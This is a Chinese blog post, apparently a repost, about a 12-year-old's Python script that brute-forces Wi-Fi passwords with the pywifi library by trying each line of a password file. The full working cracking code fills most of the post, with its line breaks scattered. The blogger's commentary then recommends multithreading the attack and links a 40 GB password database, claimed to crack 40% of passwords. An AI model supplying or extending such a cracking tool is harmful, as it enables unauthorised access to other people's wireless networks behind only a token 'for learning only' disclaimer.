这一代后浪在父母的光环加持下,猛点技能点。有些从小学开始敲基因,有些一天能写2000首诗,有些发表的论文已经达到硕士毕业水平。但是在编程领域还有另外一群后浪,有些仅仅靠着自己的自学开始做游戏,建网站,在同龄人的互联网领域里叱诧风云
像之前还有小读者问行哥现在12岁已经学完Python基础,不知道对Python的其它方向该如何选择
这不,就有小读者给行哥投稿,他写代码生成密码本,并利用pywifi工具包对自家Wi-Fi进行暴力破解,下文分享给大家看看
1.投稿内容
Hello我是狂飙 今天来分享一些我对Python破解WiFi的一些看法,思路如下:
1.首先我们需要生成密码本, 因为大部分wifi密码为八位数字, 所以我们就生成八位数字密码本。
2.然后判断电脑是否连接wifi
3.创建wifi连接文件,选择要连接wifi名称,检查加密单元
4.接下来删除所有连接过的wifi 判断wifi是否连接。
5.最后需要一个八位以上的密码本,一行一行读取就可以了。
完整的代码就发给大家了 不要忘记生成密码本,然后说找不到password.txt的文件啊
-
# coding:utf
-8
-
import pywifi
-
from pywifi
import
const
-
import time
-
-
#测试连接,返回链接结果
-
#抓取网卡接口(改进)
-
#wifi = pywifi.PyWiFi()
-
#获取第一个无线网卡
-
#ifaces = wifi.interfaces()[
0]
-
-
def wifiConnect(pwd):
-
#抓取网卡接口(原版)
-
wifi = pywifi.PyWiFi()
-
#获取第一个无线网卡
-
ifaces = wifi.interfaces()[
0]
-
#断开所有连接
-
ifaces.disconnect()
-
time.sleep(
1)
-
wifistatus = ifaces.status()
-
if wifistatus ==
const.IFACE_DISCONNECTED:
-
#创建WiFi连接文件
-
profile = pywifi.Profile()
-
#要连接WiFi的名称
-
profile.ssid =
"wifi名称"
-
#网卡的开放状态
-
profile.auth =
const.AUTH_ALG_OPEN
-
#wifi加密算法,一般wifi加密算法为wps
-
profile.akm.
append(
const.AKM_TYPE_WPA2PSK)
-
#加密单元
-
profile.cipher =
const.CIPHER_TYPE_CCMP
-
#调用密码
-
profile.key = pwd
-
#删除所有连接过的wifi文件
-
ifaces.remove_all_network_profiles()
-
#设定新的连接文件
-
tep_profile = ifaces.add_network_profile(profile)
-
ifaces.connect(tep_profile)
-
#wifi连接时间
-
time.sleep(
3)
-
if ifaces.status() ==
const.IFACE_CONNECTED:
-
return True
-
else:
-
return False
-
else:
-
print(
"已有wifi连接")
-
-
#读取密码本
-
def readPassword():
-
print(
"开始破解:")
-
#密码本路径
-
path = r
"C:\Users\电脑路径\Desktop\password.txt"
-
#打开文件
-
file = open(path,
"r")
-
while True:
-
try:
-
#一行一行读取
-
pad = file.readline()
-
bool = wifiConnect(pad)
-
-
if
bool:
-
print(
"密码已破解: ", pad)
-
print(
"WiFi已自动连接!!!")
-
break
-
else:
-
#跳出当前循环,进行下一次循环
-
print(
"密码破解中....密码校对: ", pad)
-
except:
-
continue
-
readPassword()
注:上述方法仅供学习讨论
下图为实际运行结果,我们修改对应wifi的名称,直接运行就可以了!
虽然这样的方法确实有用,只可惜效率实在是太低了,我在运行到第99…9次的时候终于忍不住,把WiFi密码改简单了。再运行一下,成功!
2.行哥说两句
对于12岁的学生来说,能够灵活使用Python工具包实现功能,并且自行配置好环境非常难得。
这里行哥也提出了两点可以改进的地方
暴力破解单线程太慢,可以尝试使用任务处理
密码比较单一,可以从网上寻找密码库来尝试撞库,行哥找了40G的密码库,大家可以在文末的链接处进行下载哦,据说可以破解40%的密码
那么后浪来了,还在学Python的你有如何感想?
推荐阅读
(点击标题可跳转阅读)
40 G密码库链接:https://yihang.cowtransfer.com/s/f7da87a6ead146
转载:https://blog.csdn.net/qq_42554007/article/details/108271757